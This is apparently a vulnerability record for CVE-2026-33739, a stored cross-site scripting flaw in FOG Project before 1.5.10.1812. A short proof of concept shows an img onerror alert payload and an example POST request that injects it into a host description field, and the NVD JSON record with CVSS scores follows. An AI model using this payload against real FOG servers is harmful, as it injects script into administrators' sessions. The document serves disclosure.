CVE-2026-33739

<!-- PoC for Stored XSS in FOG Project < 1.5.10.1812 Target: Host/Storage/Group/Image listing pages --> <script> // Simple payload to test XSS vulnerability var payload = '<img src=x onerror=alert(1)>'; // Simulate injecting the payload into a vulnerable field (e.g., Host Description) // When an admin views the host list, the alert will trigger. console.log('Injecting payload: ' + payload); </script> <!-- Example HTTP Request --> /* POST /fog/management/index.php?node=host&sub=add HTTP/1.1 Host: vulnerable-fog-server Content-Type: application/x-www-form-urlencoded host=NewHost&description=<img src=x onerror=alert(1)>&... */

{"cve": {"id": "CVE-2026-33739", "sourceIdentifier": "[email protected]", "published": "2026-03-27T20:16:33.423", "lastModified": "2026-04-08T15:08:44.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FOG is a free open-source cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.1812, the listing tables on multiple management pages (Host, Storage, Group, Image, Printer, Snapin) are vulnerable to Stored Cross-Site Scripting (XSS), due to insufficient server-side parameter sanitization in record creations/updates and a lack of HTML escaping in listing tables. Version 1.5.10.1812 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:L", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.9, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fogproject:fogproject:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.10.1812", "matchCriteriaId": "8D148022-8558-4DA4-A10B-BD1FBD11662C"}]}]}], "references": [{"url": "https://github.com/FOGProject/fogproject/security/advisories/GHSA-8m2f-4x7g-p8f3", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}